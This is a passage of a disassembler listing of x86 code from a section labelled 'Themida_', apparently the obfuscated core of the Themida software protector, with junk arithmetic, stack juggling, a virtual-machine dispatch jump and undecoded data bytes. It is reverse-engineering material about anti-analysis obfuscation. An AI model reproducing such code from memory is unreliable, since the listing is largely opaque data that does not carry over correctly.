; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF9119E9h, 70A505FFh, 0E0C13BD6h, 59212504h, 65E96449h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C38F:				; CODE XREF: Themida_:00562E2Bj
		pop	esi
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_55EF9A
; ---------------------------------------------------------------------------


loc_56C3A2:				; CODE XREF: Themida_:0055E828j
		shl	eax, 1
		or	eax, 458B77C0h
		add	eax, 570F2C9Fh
		neg	eax
		jmp	loc_56BE17
; ---------------------------------------------------------------------------


loc_56C3B5:				; CODE XREF: Themida_:0056E9F1j
		shr	ecx, 3
		push	ebp
		jmp	loc_56A7A1
; ---------------------------------------------------------------------------


loc_56C3BE:				; CODE XREF: Themida_:0056B441j
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	4EF6h
		jmp	loc_56EEBE
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF0884h
; ---------------------------------------------------------------------------


loc_56C3E4:				; CODE XREF: Themida_:00568D6Bj
		and	ebx, 78274FF0h
		xor	ebx, 280043D4h
		jmp	loc_5704F9
; ---------------------------------------------------------------------------
aSC		db '^éÂC',0
		dw 8100h
		dd 9E0615F1h, 59CB0112h, 0FF1DF9E9h, 48B66FFh, 4EC8124h
		dd 89000000h, 0E6892434h, 4BA52h, 0D6010000h, 0A6A0E95Ah
		dd 0F681FFFFh, 0FBF7CCA5h, 215EF289h, 0C19EE9D0h, 0F3B7FFFFh
		dd 0EF80CFFEh, 5BFC00EFh, 0D4F6DCF6h, 0FF2B19E9h, 0E932FFFFh
		dd 0FFFF5E20h
; ---------------------------------------------------------------------------


loc_56C450:				; CODE XREF: Themida_:0056BA27j
		pop	esp
		mov	[esp], edx
		push	97E1497h
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ecx
		push	esp
		jmp	loc_5643F4
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 5E2434FFh, 4C481h, 0C0830000h, 4238E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C47A:				; CODE XREF: Themida_:00567763j
		pop	esi
		add	esp, 4
		push	edx
		mov	edx, 0EF244E9h
		push	1D4Ah
		mov	[esp], ebp
		jmp	loc_568757
; ---------------------------------------------------------------------------
		db 4Bh,	0E9h, 0F1h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C497:				; CODE XREF: Themida_:005706E5j
		push	170Dh
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_55FADB
; ---------------------------------------------------------------------------


loc_56C4A9:				; CODE XREF: Themida_:0056EC37j
		mov	[esp], edx
		mov	edx, esp
		push	esi
		push	ecx
		mov	ecx, 702319B3h
		xor	ecx, 1B4336E6h
		xor	ecx, 0EAF5A73h
		jmp	loc_5643B0
; ---------------------------------------------------------------------------
		dw 90BEh
		dd 8178B865h, 479A74C6h, 8BF02987h, 0C4812434h,	4, 8B240487h
		dd 14892424h, 4BA24h, 0E9570000h, 0FFFF0F82h
; ---------------------------------------------------------------------------


loc_56C4F0:				; CODE XREF: Themida_:005681E2j
		pop	eax
		add	[esp+4], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 68EF15BCh
		add	[esp+8], ebx
		pop	ebx
		sub	dword ptr [esp+4], 3DC7320h
		mov	esi, [esp]
		jmp	loc_5682F0
; ---------------------------------------------------------------------------


loc_56C518:				; CODE XREF: Themida_:00565762j
		push	49332C42h
		pop	esi
		mov	eax, 49332C46h
		xor	eax, esi
		pop	esi
		jmp	loc_560C57
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C15E241Ch, 76E906E6h, 56FFFF5Ah, 0FFDD79E9h, 0E8C580FFh
		dd 0FFF73DE9h, 240489FFh, 353E68h, 48F5400h, 32C6824h
		dd 0C890000h, 4B924h, 4C010000h, 0E9590424h, 0FFFF3DB7h
; ---------------------------------------------------------------------------


loc_56C568:				; CODE XREF: Themida_:00568A22j
		add	[esp+8], esi
		pop	esi
		sub	[esp+4], edx
		sub	dword ptr [esp+4], 23B17B3Bh
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_569679
; ---------------------------------------------------------------------------
aIZhH		db '‰ÑZh¸h',0
		dd 24348900h, 614832BEh, 88CE8103h, 0E9665B59h,	0FFFF170Fh
; ---------------------------------------------------------------------------


loc_56C5A8:				; CODE XREF: Themida_:0056BDACj
		pop	ebx
		jmp	loc_56F0A3
; ---------------------------------------------------------------------------


loc_56C5AE:				; CODE XREF: Themida_:005627C8j
		pop	ebx
		jmp	loc_5619F2
; ---------------------------------------------------------------------------
		dd 687FCB81h, 13E948F0h, 0C1FFFFCAh, 0B85008E5h, 2002341h
		dd 35D8F740h, 0D6CA9B3Fh, 0F758C529h, 12DFE9DDh, 28FFFFFh
		dd 0FEFE41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C5E1:				; CODE XREF: Themida_:0056321Fj
		add	esp, 4
		sub	edx, 894E8CB3h
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	4CADh
		jmp	loc_55FB2A
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 34FF0000h, 2434FF24h, 0E189515Dh, 0FF930EE9h
		dd 242CD3FFh, 0FE04E99Ch, 0E831FFFEh, 0FFBC6DE9h, 2E1C1FFh
		dd 95CE952h, 1C8BFFFFh,	4C48124h, 66000000h, 8124148Bh
		dd 2C4h, 0E9C33000h, 0FFFFA5FDh, 91E9EF08h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C64F:				; CODE XREF: Themida_:00563F6Ej
		add	esi, 694692F3h
		jmp	loc_56963C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 241C8924h, 2CBBh, 83FB0100h,	148904ECh, 0BA24h, 23E90000h
		dd 8BFFFFAFh, 0C481241Ch, 4, 0FFA718E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C685:				; CODE XREF: Themida_:0055CE60j
		add	ebx, 4
		push	ebx
		jmp	loc_5702F8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 579AE924h, 8F66FFFFh, 0FD80E902h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56C6A2:				; CODE XREF: Themida_:0055DB30j
		not	esi
		sub	esp, 4
		jmp	loc_569D9E
; ---------------------------------------------------------------------------
		db 68h
		dd 4D3E3A31h, 4EC835Dh,	53241489h, 0FF0156E9h, 50C300FFh
		dd 0CCFE8BB4h, 0FF1473E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C6CD:				; CODE XREF: Themida_:00564CBEj
		pop	ebx
		push	eax
		push	ebx
		add	dword ptr [esp], 4F135EE0h
		pop	eax
		jmp	loc_5660D5
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 81000000h, 4EDh, 1AF7E900h, 0D3F7FFFFh, 4310E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C6F5:				; CODE XREF: Themida_:0056D5D1j
		pop	ecx
		jmp	loc_55C86F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5D04C483h, 3668C331h, 89000044h, 148B2404h, 0E0895024h
		dd 405h, 4E88300h, 0FF7EA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C71D:				; CODE XREF: Themida_:0056B846j
		add	esi, edx
		pop	edx
		add	esi, 7DBF286Bh
		jmp	loc_561898
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEFCF2h, 35EE68ACh, 14890000h, 53B4B624h,	0C6E9E7B7h
		dd 29FFFF24h, 0CF815DEFh, 0FA5640Ah, 0FF5018E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C751:				; CODE XREF: Themida_:0055DFDCj
		push	dword ptr [esp]
		jmp	loc_55E599
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 71h
		dd 311A3C71h, 5D04246Ch, 8B2434FFh, 0C4832404h,	59545104h
		dd 0FF92E5E9h, 0D6F74EFFh, 0FFDDB1E9h, 0FFC281FFh, 811DDF5Fh
		dd 0D93D82EAh, 14335D5Ah, 24143124h, 8B241433h,	0F7662424h
		dd 23C168E9h, 2C890000h, 0E95D5424h, 0FFFFFC36h
; ---------------------------------------------------------------------------


loc_56C7A8:				; CODE XREF: Themida_:0056DEE9j
		push	ecx
		jmp	loc_56989B
; ---------------------------------------------------------------------------
		dw 4481h
		dd 6A9C0424h, 505F362Fh, 0AC0C90B8h, 24440109h,	5BE95804h
		dd 81FFFEFCh, 4C4h, 148B6600h, 1718E924h, 4CB80000h, 2D777B22h
		dd 27BC2554h, 0EC81D029h, 4, 0BE243489h, 69FD62C5h, 0E946D6F7h
		dd 0FFFF3AC7h, 0CF31F931h, 0E957D1F7h, 0FFFFB52Ch, 8158C301h
		dd 0FE5B86E3h, 69EB817Fh, 0E96B753Ch, 0FFFF015Fh, 5B2434FFh
		dd 0FF4403E9h, 242C8BFFh, 8104C483h, 4C6h, 24343300h, 33243431h
		dd 248B2434h, 240CFF24h, 4FD7E99Ch, 5166FFFFh, 0FBD8E99Ch
		dd 6668FFFEh, 0FF5FCC58h, 0E95F2434h, 0FFFF1AFEh, 4247401h
		dd 24048F5Eh, 4240483h,	56242C8Bh, 0C681E689h, 4, 37A568h
		dd 242C8900h, 4BDh, 5DEE0100h, 0E9243487h, 2F88h, 24348758h
		dd 0D224248Bh, 0E99C2424h, 1A0h, 240C8B66h, 2A0468h, 0C8F4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C8A6:				; CODE XREF: Themida_:0055F6A2j
		push	edx
		push	esp
		pop	edx
		jmp	loc_56120B
; ---------------------------------------------------------------------------


loc_56C8AE:				; CODE XREF: Themida_:0056A555j
		pop	esp
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 46465999h
		shr	eax, 5
		push	edx
		mov	edx, 175956D1h
		not	edx
		and	edx, 555049BEh
		not	edx
		inc	edx
		add	edx, 0BD0859EFh
		and	eax, edx
		pop	edx
		dec	eax
		not	eax
		xor	eax, 0FFFFEF44h
		add	ebx, 67282B5Bh
		add	ebx, eax
		jmp	loc_568CD5
; ---------------------------------------------------------------------------
		dd 0E959CF29h, 0FFFF58BDh
; ---------------------------------------------------------------------------


loc_56C8FC:				; CODE XREF: Themida_:0056ACB2j
		pop	ebx
		jmp	loc_560977
; ---------------------------------------------------------------------------


loc_56C902:				; CODE XREF: Themida_:0056605Ej
		not	edi
		jmp	loc_564F83
; ---------------------------------------------------------------------------


loc_56C909:				; CODE XREF: Themida_:00562BDAj
		sub	eax, 5E0D35B0h
		jmp	loc_56E50C
; ---------------------------------------------------------------------------
		db 81h
		dd 0EF5FEDF2h, 0E4CA8131h, 0E94B5D37h, 0FFFFE474h, 0B3241C89h
		dd 27C3809Dh, 0B252CBFEh, 0FFEA8043h, 0FFE7AEE9h, 2EF780FFh
		dd 0FF219AE9h, 88F381FFh, 5249790Ch, 0A86772BAh, 5AD32952h
		dd 81D3F74Bh, 9E167CF3h, 80C5812Dh, 157B219h, 80ED81DDh
		dd 8B57B219h, 8953241Ch, 4C381E3h, 51000000h, 1FE6BE56h
		dd 0F6812990h, 6342010Fh, 2EB7C681h, 0EDE9264Dh, 59FFFF00h
		dd 0FF6691E9h, 0E9505CFFh, 0FFFF3778h
; ---------------------------------------------------------------------------


loc_56C998:				; CODE XREF: Themida_:005673A1j
		neg	eax
		neg	eax
		add	eax, 0BFFBE803h
		add	edx, eax
		pop	eax
		jmp	loc_56022A
; ---------------------------------------------------------------------------
		db 4Ah,	0F7h, 0DAh
		dd 0E5FCF281h, 0DAF7941Eh, 0FF51D7E9h, 62C381FFh, 0E9659422h
		dd 0FFFF9867h, 59E9595Ah, 50000010h, 4656FB8h, 418F2D01h
		dd 0C781CFDEh, 45375BEDh, 0EF81C701h, 45375BEDh, 0E9D70158h
		dd 3E54h
; ---------------------------------------------------------------------------


loc_56C9EC:				; CODE XREF: Themida_:005606DEj
		mov	[esp], edi
		mov	edi, 7581175Dh
		push	ecx
		push	edx
		mov	edx, 3BED0B75h
		neg	edx
		sub	edx, 453B1EACh
		sub	edx, 7280CA78h
		mov	ecx, edx
		pop	edx
		add	dword ptr [esp+8], 4D21077Fh
		jmp	loc_56D384
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 4, 0FFD640E9h, 0D7F65BFFh, 0FFAF70E9h, 0BEF181FFh, 0E9787C71h
		dd 0FFFFB5DDh, 0FEF9E5E9h, 0F3CA81FFh, 5073F433h, 48BA5256h
		dd 0BE1FBD16h, 0A1B2DA8h, 0B85AD601h, 708CB4AFh, 0FFB523E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CA5D:				; CODE XREF: Themida_:0055EFE1j
		mov	[esp], esi
		push	edi
		mov	edi, 32F24C60h
		jmp	loc_56B64F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E027312Dh, 55F02903h, 573362BDh, 0E9D5F727h, 0FFFF09FEh
		dd 33242C31h, 0A7E9242Ch, 89FFFF83h, 4C181E1h, 50000000h
		dd 4B8h, 0E9C10100h, 0EFBh, 152BE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56CAA6:				; CODE XREF: Themida_:00570209j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_55E3C4
; ---------------------------------------------------------------------------
		dd 0C580DDF6h, 5351522Dh, 0E7C02EB7h, 0C0DFF607h, 0CF8005E7h
		dd 1009E984h, 0C6010000h, 3E6C158h, 27E868h, 24148900h
		dd 71EA8CBAh, 5AD601E6h, 0FF9001E9h, 38C181FFh,	57743F19h
		dd 3D4FE8BFh, 5FF9210Ah, 0FFA619E9h, 3C6B68FFh,	0D4E90000h
		dd 0BDFFFF7Dh, 4, 87E9EA01h, 29FFFF63h,	3C335BDFh, 243C3124h
		dd 0E9243C33h, 0FFFF0DEBh, 4EC8359h, 0FF5B65E9h, 4EC83FFh
		dd 0EF2BE954h, 348BFFFFh, 4C48324h, 2258BE56h, 6BE91C4Dh
		dd 89000009h, 32BF243Ch, 3130D833h, 5F04247Ch, 32F18159h
		dd 8B30D833h, 0C483241Ch, 43A4E904h, 0C581FFFFh, 460A7A85h
		dd 697AED81h, 0C581701Ch, 2B0E4133h, 7666C581h,	88E9244Bh
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56CB93:				; CODE XREF: Themida_:0056B8CAj
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_567655
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 3EE904C1h, 81FFFF5Bh, 4C4h, 0E9F82900h, 0FFFEF8FBh
; ---------------------------------------------------------------------------


loc_56CBBC:				; CODE XREF: Themida_:00567879j
		inc	ebx
		sub	ebx, 3633BC2Eh
		jmp	loc_560A3D
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 0FFFF2CAAh, 55FF821h, 4028BD7Ah,	29257835h
		dd 0E9C58940h, 0FFFFF6FCh
; ---------------------------------------------------------------------------


loc_56CBE4:				; CODE XREF: Themida_:00564DCDj
		pop	ebx
		jmp	loc_564232
; ---------------------------------------------------------------------------


loc_56CBEA:				; CODE XREF: Themida_:00568B3Ej
		sub	ebx, 345110C8h
		add	ebx, edx
		add	ebx, 345110C8h
		pop	edx
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 7DE9h
		dd 68FFFFDEh, 18046B11h, 8324148Bh, 0EA8104C4h,	84127A9h
		dd 148BD689h, 5477E924h, 0C330FFFFh, 0FFC0B60Fh, 0EFE98734h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56CC33:				; CODE XREF: Themida_:00560B6Fj
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5698D2
; ---------------------------------------------------------------------------
		dw 5166h
		dd 0C80835B1h, 0FF9379E9h, 5E2C1FFh, 44FEEA81h,	0ACE944C2h
		dd 1FFFF2Eh, 0FF32FFFAh, 41E92434h, 81FFFF6Bh, 874807C2h
		dd 5AD12905h, 0A82C181h, 0CD31B2E4h, 0E9240C8Bh, 0FFFFC6ACh
; ---------------------------------------------------------------------------


loc_56CC7C:				; CODE XREF: Themida_:00569738j
		mov	[esp], edi
		push	ebx
		mov	ebx, 6AC8746Fh
		inc	ebx
		neg	ebx
		sub	ebx, 4045E95h
		jmp	loc_56268D
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC83242Ch, 240C8904h, 19E9E189h, 30FFFFD1h,	515366D8h
		dd 43E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_56CCAD:				; CODE XREF: Themida_:0055CB66j
		sub	esi, 28373CFCh
		sub	esi, ecx
		add	esi, 28373CFCh
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_563807
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FF462EE9h, 4C481FFh, 89000000h, 0C8295AD0h
		dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 81BB241Ch, 11CE458h
		dd 57535BD8h, 8139A7BFh, 0D237BB2Fh, 0FB010FAAh, 22B9E9h
		dd 4C48300h, 4BA368h, 243C8900h, 0FF6782E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56CD15:				; CODE XREF: Themida_:0055D80Dj
		pop	edx
		jmp	loc_56A777
; ---------------------------------------------------------------------------


loc_56CD1B:				; CODE XREF: Themida_:00568108j
		pop	eax
		jmp	loc_56099A
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0C104C483h, 0E95605E6h, 0FFFFF7FBh, 3457EBBFh, 1485E959h
		dd 8951FFFFh, 67BE56E1h, 0D1371609h, 1B6E9EEh, 0EC810000h
		dd 4, 59B68h, 24248900h, 4240483h, 0E924048Fh, 0FFFF8BB2h
		dd 8904EC83h, 4832424h,	48F0424h, 0DC43E924h, 248BFFFFh
		dd 0DC18E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CD7E:				; CODE XREF: Themida_:005694F9j
		pop	eax
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		jmp	loc_55CF42
; ---------------------------------------------------------------------------
		db 0F6h, 0D4h, 86h
		dd 0F0D6E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CD9A:				; CODE XREF: Themida_:0055D6EEj
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 7FFCF8h
		sub	edx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55DE8E
; ---------------------------------------------------------------------------


loc_56CDC3:				; CODE XREF: Themida_:0056BD95j
		mov	eax, 5C92505Dh
		or	esi, eax
		pop	eax
		xchg	ecx, esi
		neg	ecx
		jmp	loc_57095E
; ---------------------------------------------------------------------------
		dd 828B450h, 5EE958E5h,	8BFFFFF7h, 0C4812404h, 4, 4E14EB81h
		dd 0B9519848h, 1D002827h, 3377E9h, 7549B900h, 0E9816B98h
		dd 48450A56h, 1E981h, 0F7490000h, 4E1C1D1h, 81FFE983h
		dd 46131DC1h, 0E898E945h, 0C581FFFFh, 4E4A75FDh, 82BE5659h
		dd 0E95AD93Dh, 0FFFF3746h, 4BB53h, 6B050000h, 15BB647h
		dd 476B2DD8h, 0E95B5BB6h, 0FFFF44EBh, 0ED81CD29h, 187D4BD5h
		dd 81240C8Bh, 4C4h, 88ED8100h, 0E940CB1Bh, 26A7h, 8B2434FFh
		dd 0F8E92404h, 29FFFF0Bh, 0F9EF81D7h, 8B4FAE7Ah, 7EE92414h
		dd 4800000Eh, 0E904E0C1h, 0FFFF490Bh, 6824148Bh, 63B3h
		dd 81243C89h, 4ECh, 48F5400h, 24048324h, 2434FF04h, 5B54535Fh
		dd 4C381h, 0BE560000h, 4, 22E9F301h, 5500000Dh,	0FF671EE9h
		dd 24048FFFh, 4B850h, 44010000h, 5B580424h, 6292BA52h
		dd 0B8502BECh, 32AA73CDh, 80E9C209h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CEE3:				; CODE XREF: Themida_:0056E098j
		sub	edi, ebp
		mov	ebp, [esp]
		jmp	loc_56171B
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0DAh
		dd 0FF458426h, 57592434h, 0E953E789h, 0FFFF7A9Fh, 8103EEC1h
		dd 0FE013DC6h, 3AF4E96Fh, 4FEFFFFh, 0BE99C24h
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56CF17:				; CODE XREF: Themida_:00566158j
		mov	[esp], esi
		mov	esi, 1146220Bh
		neg	esi
		and	esi, 47B2267Ch
		not	esi
		jmp	loc_56EB55
; ---------------------------------------------------------------------------
		dw 478Fh
		dd 8594E940h, 0EC83FFFFh, 242C8904h, 271DA7BDh,	41CD8164h
		dd 81517A7Ch, 80821DC5h, 0A5EA818Ah, 150FB26h, 0A5C281EAh
		dd 0E950FB26h, 0FFFFCDACh
; ---------------------------------------------------------------------------


loc_56CF60:				; CODE XREF: Themida_:00561C74j
		mov	edx, 3970133Ah
		jmp	loc_563C8B
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 0E964F0Fh, 6619CD81h, 0A683950h, 8900003Bh, 97BE2434h
		dd 1CFCE51h, 24348BF5h,	0FF96E7E9h, 33ED81FFh, 812B0E41h
		dd 1C697AC5h, 85ED8170h, 1460A7Ah, 0FBD0E9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CFA6:				; CODE XREF: Themida_:0056F057j
		mov	ebp, [esp]
		add	esp, 4
		push	5175h
		mov	[esp], ebx
		mov	ebx, 451936B6h
		jmp	loc_56BEA9
; ---------------------------------------------------------------------------
		dw 53ACh
		dd 0FEF97CE9h, 0B60F66FFh, 7D686602h, 4896651h,	0F44CE924h
		dd 0C581FFFEh, 2F017BCAh, 2C8BEF29h, 3DF3E924h,	48F0000h
		dd 0A74DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56CFEE:				; CODE XREF: Themida_:0055D9CAj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_56ADD4
; ---------------------------------------------------------------------------
		dw 53B6h
		dd 0D6F6CEFEh, 0E973C680h, 2E4h
; ---------------------------------------------------------------------------


loc_56D024:				; CODE XREF: Themida_:0056DC70j
		add	esi, 1ADA021Ch
		add	edx, esi
		pop	esi
		push	ebp
		jmp	loc_56455E
; ---------------------------------------------------------------------------


loc_56D033:				; CODE XREF: Themida_:0055F3C6j
		add	esp, 4
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		db 8Bh
		dd 41E9242Ch, 59FFFEFFh, 426168h, 24048900h, 76E67B8h
		dd 0BAE95624h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D057:				; CODE XREF: Themida_:00565145j
		push	79F8h
		mov	[esp], edi
		mov	edi, 60A51922h
		jmp	loc_56E04B
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 24248B24h, 9C243CD3h, 0FEF3A9E9h, 0C1DEF7FFh, 814E03E6h
		dd 563D53EEh, 0E9F5899Bh, 0FFFF76EEh
; ---------------------------------------------------------------------------


loc_56D08C:				; CODE XREF: Themida_:00569547j
		shr	ah, 7
		jmp	loc_566E43
; ---------------------------------------------------------------------------
		dd 0DB3EF8BEh, 5EF0295Fh, 7C793405h, 0F3D0576h,	0E95A5D8Fh
		dd 0FFFFA4DBh, 405E089h, 52000000h, 2AAD68h, 240C8900h
		dd 0FFFD38E9h, 0EF815CFFh, 2, 31243C33h, 3C33243Ch, 89665C24h
		dd 0B050241Ch, 0C7B3A1h, 0D83058C3h, 0FFF00DE9h, 0E38059FFh
		dd 5CB551ACh, 1DE9CDFEh
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D0F3:				; CODE XREF: Themida_:0055E988j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	3392h
		push	esp
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	dword ptr [esp+4], 69B776CAh
		add	[esp+4], edi
		push	esi
		push	ebp
		push	0FA95F0Ch
		pop	ebp
		sub	ebp, 434F607Eh
		shr	ebp, 2
		xor	ebp, 5AA10969h
		mov	esi, ebp
		pop	ebp
		sub	[esp+8], esi
		pop	esi
		pop	edi
		jmp	loc_5631C7
; ---------------------------------------------------------------------------
		dw 558h
		dd 0F8ED9B5h, 0F758C789h, 0D7F74FDFh, 1765F781h, 0B9513B04h
		dd 46CD37E3h, 8106E9C1h, 9B7522E9h, 0C1814175h,	6CC75F12h
		dd 0BDC18141h, 0E9C00DD0h, 0FFFFF77Ch, 4C481h, 0D6F70000h
		dd 0FF2E77E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D185:				; CODE XREF: Themida_:00560C32j
		mov	[esp], edi
		mov	edi, 1D7A5F91h
		push	edx
		push	eax
		mov	eax, 1EF80828h
		mov	edx, 3C7267BDh
		jmp	loc_56E804
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0C7815C24h, 27B45A8Fh, 5F4EEF81h, 0DF297E22h, 5F4EC781h
		dd 83517E22h, 2C8904ECh, 4843BD24h, 0A7E93111h
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D1C7:				; CODE XREF: Themida_:0056C053j
		mov	edx, ebp
		pop	ebp
		sub	edx, 0FFFFFFFFh
		jmp	loc_55E51E
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aL4S		db '‹4$éØ',0Dh,0
		align 10h
		dd 6644F381h, 0DA015630h, 2414335Bh, 33241431h,	248B2414h
		dd 0E6895624h, 0FF9E1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D1FD:				; CODE XREF: Themida_:005674B0j
		pop	ebx
		sub	edx, ebp
		add	edx, 5BB54F38h
		push	ebp
		mov	ebp, 7E177086h
		jmp	loc_564D30
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 8B66E300h, 0EC812404h, 4, 89242C89h,	4BB53E5h, 0E9000000h
		dd 0FFFFB285h
; ---------------------------------------------------------------------------


loc_56D230:				; CODE XREF: Themida_:0055FD22j
		push	edi
		mov	edi, 58F64931h
		inc	edi
		jmp	loc_56F1A3
; ---------------------------------------------------------------------------
		dd 4C381h, 0EDE90000h, 0B7FFFF36h, 5BF9887Ch, 94E9CF00h
		dd 28FFFFB5h, 66BA2CF0h, 41C045Ah, 2CF0285Dh, 1CF3E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D266:				; CODE XREF: Themida_:00566E49j
		sub	bl, 34h
		jmp	loc_566AF1
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 503FC380h, 0B35387B0h, 0E9D800DBh, 0FFFF68CAh, 0CB88C188h
		dd 0B9BDE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D28E:				; CODE XREF: Themida_:005712ACj
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56EC8E
; ---------------------------------------------------------------------------
aGHv		db '²£Àê',7,'hV`',0
		dd 24048900h, 0FFEC95E9h, 0F28142FFh, 8202055h,	1062E9h
		dd 4C48100h, 5B000000h,	0E998B551h, 0FFFFA42Eh,	4B850h
		dd 0C1010000h, 240C8758h, 0A70CE95Ch, 3BE9FFFFh
		db 0F1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56D2E7:				; CODE XREF: Themida_:00561DBEj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_561614
		push	dword ptr [edi+1Ch]
		jmp	loc_56B16E
; ---------------------------------------------------------------------------
		dd 665AF420h, 0EDB252h,	85A66D4h, 0C58058E5h, 3EDC0C4h
		dd 0B8B55153h, 3514E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D325:				; CODE XREF: Themida_:00566C87j
		or	edi, 48824883h
		jmp	loc_56F8A9
; ---------------------------------------------------------------------------


loc_56D330:				; CODE XREF: Themida_:0056050Cj
		or	ebp, ecx
		pop	ecx
		add	ebp, 2BA73A2Ah
		neg	ebp
		push	edi
		mov	edi, 0E8F8D653h
		sub	ebp, 74117815h
		sub	ebp, 0AA95574h
		jmp	loc_562714
; ---------------------------------------------------------------------------


loc_56D352:				; CODE XREF: Themida_:0056A894j
		not	esi
		push	edx
		mov	edx, 1
		sub	esi, 9AB1C17h
		add	esi, edx
		push	edi
		mov	edi, 55F537BEh
		or	edi, 739E322Ah
		sub	edi, 6C774BBh
		shl	edi, 1
		jmp	loc_56C2D2
; ---------------------------------------------------------------------------


loc_56D37B:				; CODE XREF: Themida_:0055C835j
		mov	ax, 5A40h
		jmp	loc_55EB20
; ---------------------------------------------------------------------------


loc_56D384:				; CODE XREF: Themida_:0056CA14j
		add	[esp+8], ecx
		sub	dword ptr [esp+8], 4D21077Fh
